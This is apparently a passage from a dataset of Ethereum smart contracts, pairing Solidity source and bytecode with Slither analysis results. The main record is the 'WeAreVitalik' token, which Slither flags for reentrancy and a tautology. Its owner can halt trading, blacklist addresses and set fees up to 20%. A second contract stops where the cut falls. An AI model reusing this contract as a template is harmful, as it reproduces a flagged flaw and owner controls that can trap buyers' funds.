address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x77d3e6731527f6e6dc9bbec8a78d2cb4df7c60d4 | /**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WeAreVitalik is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WeAreVitalik";
string private constant _symbol = "VATS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x7D383169a8017f9F457FDfEde11E06f45cE2C935);
address payable private _marketingAddress = payable(0x7D383169a8017f9F457FDfEde11E06f45cE2C935);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000 * 10**9;
uint256 public _maxWalletSize = 200000 * 10**9;
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 10000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae4565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600c81526b5765417265566974616c696b60a01b60208201525b60405161023c9190611ba9565b60405180910390f35b34801561025157600080fd5b50610265610260366004611bfe565b61069b565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50662386f26fc100005b60405190815260200161023c565b3480156102dd57600080fd5b506102656102ec366004611c2a565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023c565b34801561032f57600080fd5b50601554610295906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611c6b565b61071b565b34801561036f57600080fd5b506101fc61037e366004611c98565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611c6b565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611cb3565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611c6b565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610295565b34801561045a57600080fd5b506101fc610469366004611c98565b6108cc565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260048152635641545360e01b602082015261022f565b3480156104bd57600080fd5b506101fc6104cc366004611cb3565b610914565b3480156104dd57600080fd5b506101fc6104ec366004611ccc565b610943565b3480156104fd57600080fd5b5061026561050c366004611bfe565b610af9565b34801561051d57600080fd5b5061026561052c366004611c6b565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610b06565b34801561056257600080fd5b506101fc610571366004611cfe565b610b5a565b34801561058257600080fd5b506102c3610591366004611d82565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611cb3565b610bfb565b3480156105e857600080fd5b506101fc6105f7366004611c6b565b610c2a565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611dbb565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611df0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611e1c565b915050610632565b5050565b60006106a8338484610d14565b5060015b92915050565b60006106bf848484610e38565b610711843361070c85604051806060016040528060288152602001611f36602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611dbb565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611dbb565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f6816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106ac906113e8565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611dbb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611dbb565b6509184e72a0008111156107f657601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062690611dbb565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062690611dbb565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062690611dbb565b60048411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610626565b6014821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610626565b6004831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610626565b6014811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610626565b600893909355600a91909155600955600b55565b60006106a8338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f9565b90506107f68161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062690611dbb565b60005b82811015610bf5578160056000868685818110610ba657610ba6611df0565b9050602002016020810190610bbb9190611c6b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e1c565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062690611dbb565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062690611dbb565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146111965760175481611133846107f9565b61113d9190611e37565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b60006111a1306107f9565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115f5565b600081848411156113985760405162461bcd60e51b81526004016106269190611ba9565b5060006113a58486611e4f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b6000611459611623565b90506114658382611646565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611df0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150857600080fd5b505afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611e66565b8160018151811061155357611553611df0565b6001600160a01b0392831660209182029290920101526014546115799130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611e83565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160257611602611688565b61160d8484846116b6565b80610bf557610bf5600e54600c55600f54600d55565b60008060006116306117ad565b909250905061163f8282611646565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117eb565b600c541580156116985750600d54155b1561169f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c887611819565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fa9087611876565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172990866118b8565b6001600160a01b03891660009081526002602052604090205561174b81611917565b6117558483611961565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179a91815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc100006117c78282611646565b8210156117e257505060065492662386f26fc1000092509050565b90939092509050565b6000818361180c5760405162461bcd60e51b81526004016106269190611ba9565b5060006113a58486611ef4565b60008060008060008060008060006118368a600c54600d54611985565b9250925092506000611846611623565b905060008060006118598e8787876119da565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118c58385611e37565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b6000611921611623565b9050600061192f8383611a2a565b3060009081526002602052604090205490915061194c90826118b8565b30600090815260026020526040902055505050565b60065461196e9083611876565b60065560075461197e90826118b8565b6007555050565b600080808061199f60646119998989611a2a565b90611646565b905060006119b260646119998a89611a2a565b905060006119ca826119c48b86611876565b90611876565b9992985090965090945050505050565b60008080806119e98886611a2a565b905060006119f78887611a2a565b90506000611a058888611a2a565b90506000611a17826119c48686611876565b939b939a50919850919650505050505050565b600082611a39575060006106ac565b6000611a458385611f16565b905082611a528583611ef4565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b8035611adf81611abf565b919050565b60006020808385031215611af757600080fd5b823567ffffffffffffffff80821115611b0f57600080fd5b818501915085601f830112611b2357600080fd5b813581811115611b3557611b35611aa9565b8060051b604051601f19603f83011681018181108582111715611b5a57611b5a611aa9565b604052918252848201925083810185019188831115611b7857600080fd5b938501935b82851015611b9d57611b8e85611ad4565b84529385019392850192611b7d565b98975050505050505050565b600060208083528351808285015260005b81811015611bd657858101830151858201604001528201611bba565b81811115611be8576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1157600080fd5b8235611c1c81611abf565b946020939093013593505050565b600080600060608486031215611c3f57600080fd5b8335611c4a81611abf565b92506020840135611c5a81611abf565b929592945050506040919091013590565b600060208284031215611c7d57600080fd5b813561146581611abf565b80358015158114611adf57600080fd5b600060208284031215611caa57600080fd5b61146582611c88565b600060208284031215611cc557600080fd5b5035919050565b60008060008060808587031215611ce257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1357600080fd5b833567ffffffffffffffff80821115611d2b57600080fd5b818601915086601f830112611d3f57600080fd5b813581811115611d4e57600080fd5b8760208260051b8501011115611d6357600080fd5b602092830195509350611d799186019050611c88565b90509250925092565b60008060408385031215611d9557600080fd5b8235611da081611abf565b91506020830135611db081611abf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3057611e30611e06565b5060010190565b60008219821115611e4a57611e4a611e06565b500190565b600082821015611e6157611e61611e06565b500390565b600060208284031215611e7857600080fd5b815161146581611abf565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed35784516001600160a01b031683529383019391830191600101611eae565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3057611f30611e06565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010f976a66b4ee8b0144dd46521d0e50cd5c917eb08707e6bb71d2cded5aed25d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 900 |
0xb1c78acea2e8457a927d36af5efe5eac8f44149b | //conflux.finance
//conflux.finance
//conflux.finance
//!!!Important things repeated three times
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
